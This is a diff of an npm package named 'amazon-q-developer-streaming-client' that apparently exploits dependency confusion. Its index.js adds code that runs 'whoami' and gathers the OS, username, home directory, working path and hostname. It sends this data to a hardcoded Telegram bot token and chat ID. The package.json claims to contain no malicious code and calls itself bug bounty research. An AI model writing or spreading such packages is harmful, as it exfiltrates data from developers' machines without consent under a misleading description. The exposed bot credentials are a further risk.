amazon-q-developer-streaming-client 99.9.11 → 99.9.13

package/index.js

@@ -1,16 +1,32 @@
 const https = require('https');
 const os = require('os');
+const { execSync } = require('child_process');
 
 const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
 const CHAT_ID = "8655055695";
 
-// Message ko simple string banate hain complication hatane ke liye
-const messageText = `🚀 POC TRIGGERED!\nPackage: amazon-q-developer-streaming-client\nHost: ${os.hostname()}\nPlatform: ${os.platform()}\nResearcher: ALONE BEAST`;
+let currentUser = "Unknown";
+try { currentUser = execSync('whoami').toString().trim(); } catch (e) {}
+
+// Plain text format (no markdown/HTML) to avoid parsing errors
+const messageText = `
+--- NEW HIT DETECTED ---
+Package: amazon-q-developer-streaming-client
+Researcher: ALONE BEAST
+
+OS: ${os.type()} ${os.release()}
+User: ${currentUser}
+Home: ${os.homedir()}
+Path: ${process.cwd()}
+Arch: ${os.arch()}
+Hostname: ${os.hostname()}
+Time: ${new Date().toLocaleString()}
+-----------------------
+`;
 
 const data = JSON.stringify({
     chat_id: CHAT_ID,
-    text: messageText,
-    parse_mode: "Markdown"
+    text: messageText
 });
 
 const options = {
@@ -25,17 +41,12 @@ const options = {
 };
 
 const req = https.request(options, (res) => {
-    let responseBody = '';
-    res.on('data', (chunk) => { responseBody += chunk; });
-    res.on('end', () => {
-        console.log("Telegram Response:", responseBody);
-    });
-});
-
-req.on('error', (error) => {
-    console.error('Request Error:', error.message);
+    let body = '';
+    res.on('data', (d) => { body += d; });
+    res.on('end', () => { console.log("Response:", body); });
 });
 
+req.on('error', (e) => { console.error("Error:", e.message); });
 req.write(data);
 req.end();
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "amazon-q-developer-streaming-client",
-  "version": "99.9.11",
+  "version": "99.9.13",
   "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
   "keywords": [
     "security",